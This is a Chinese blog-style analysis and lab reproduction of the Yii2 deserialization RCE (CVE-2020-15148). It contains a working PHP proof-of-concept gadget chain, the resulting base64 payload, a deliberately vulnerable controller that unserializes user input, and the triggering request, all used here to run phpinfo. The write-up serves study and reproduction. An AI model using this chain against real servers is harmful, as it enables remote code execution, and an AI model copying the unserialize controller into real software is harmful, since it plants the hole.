目录
简介:
Yii Framework是一个基于组件、用于开发大型Web应用的高性能 PHP 框架。Yii提供了今日Web 2.0应用开发所需要的几乎一切功能。Yii是最有效率的PHP框架之一。
Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。
环境部署:
下载地址:
https://github.com/yiisoft/yii2/releases/tag/2.0.37
下载这个yii-basic-app-2.0.37.tgz
修改/config/web.php文件17行cookieValidationKey,值可以为任何
进入目录(我的是放在了phpstudy的www目录下),执行 php yii serve
进入 http://localhost:8080/
知识点:
namespace:
php中命名空间(namespace)的作用和使用_古语静水流深-CSDN博客
PHP命名空间(Namespace)的使用详解 - 酷越 - 博客园
Yii2.0 路由(Route)的实现原理 [ 2.0 版本 ]
所谓路由是指URL中用于标识用于处理用户请求的module, controller, action的部分,一般情况下由
r
查询参数来指定。
如http://www.digpage.com/index.php?r=post/view&id=100
,表示这个请求将由PostController 的 actionView来处理。(主要首字母要大写)
__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
__destruct():当对象被销毁时会自动调用。
__call():是在对象上下文中调用不可访问的方法时触发
分析:
使用的poc:
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
我们从poc代码开始入手:
这里使用其他师傅一张图:
第一步:new了一个yii\db\BatchQueryResult()类,那么就会调用这个类的__construct()方法
第二步:这个类的__construct()方法会new一个Faker\Generator()类,就又会调用Faker\Generator()类的__construct()方法,并把这个对象赋值给$_dataReader变量。
第三步:Faker\Generator()类的__construct()方法会new一个yii\rest\CreateAction()类,然后又调用yii\rest\CreateAction()类的__coustrcut()方法。并调用了run方法(这里用了 call_user_func_array后面会讲到),然后赋值给$this->formatters['close']。
第四步:反序列化时,类中变量的值我们是可控的;那么就可以通过yii\rest\CreateAction()类的__construct()方法中修改这些变量,将这些值改成命令,成功RCE。
思路有了,我们就看仔细看看源文件中的这些类:
yii\db\BatchQueryResult():
文件在:
vendor/yiisoft/yii2/db/BatchQueryResult.php:
在poc中
echo base64_encode(serialize(new yii\db\BatchQueryResult));
这句话执行完之后,会先调用yii\db\BatchQueryResult()类的__destruct()方法,这个方法会执行reset方法,因为前面我们讲$this->dataReader设置为了Faker\Generator()对象,
$this->_dataReader = new Generator;
所以就会进入if语句,执行Gnerator的close方法,因为没有这个方法所以会调用他的__call()方法。
Gnerator类
文件在:
vendor/fzaninotto/faker/src/Faker/Generator.php
因为close是无参方法,所以__call中的$method
是close,attributes
为空,然后传参给format方法
继续跟进format方法。
这里因为传参,所以$formatter='close',$arguments=空
format方法中使用了call_user_func_array(),使用的方法为getFormatters('close')的返回值,参数在$arguments=空
继续跟进getFormatter(‘close’)方法,这个方法中if语句中的$formatters['close'],我们发现:
$formatters['close']是可控的,也就是说getFormatter方法的返回值是可控的。也就是说call_user_func_array这个函数的第一个参数可控,第二个参数为空;所以相当于我们现在能干两件事,1、调用yii2中任意的一个无参方法。2、调用原生php的类似phpinfo()这样的无参方法,但是第二种肯定不能RCE,因此还要在yii2中已有的无参方法中进行挖掘:
function \w+\(\)
但是无参方法很多,这样不好找;
搜索含有call_user_function的无参函数:
function \w*\(\)\n? *\{(.*\n)+ *call_user_func
在大括号前需要有空格的,然后换行符\n 之后也需要空格的,加上这两块就能够找到了
最后找到rest/CreateAction.php以及rest/IndexAction.php
这里分析CreatAction.php
那么poc中的下一步代入了一个无参数的方法去RCE。在前面的poc中说了formatters被赋值为:
$this->formatters['close'] = [new CreateAction(), 'run'];
CreateAction类
文件在:
vendor/yiisoft/yii2/rest/CreatAction.php
CreatAction()方法中的$this->checkAccess,$this->id我们都是可控的,那么就可以执行RCE了
复现:
复现的第一步,先自己添加一个反序列化的入口,在controllers目录下新建一个存在反序列化点的TestController.php
<?php
namespace app\controllers;
class TestController extends \yii\web\Controller
{
public function actionTest($data){
return unserialize(base64_decode($data));
}
}
?>
然后使用poc输出需要的字符串:
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
get传参(使用的知识是路由):
?r=test/test&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
成功RCE。
参考链接:
CVE-2020-15148 Yii2反序列化RCE分析与复现 - FreeBuf网络安全行业门户
yii2框架 反序列化漏洞复现_feng的博客-CSDN博客_yii框架漏洞
其他问题:
当闭合的时候如果在?>后面还有两行以上如42、43,或者在40行到?>直接还有代码时,执行时会报错。
解决方法:
1:不使用?>结束闭合
2:闭合后不要增加行数。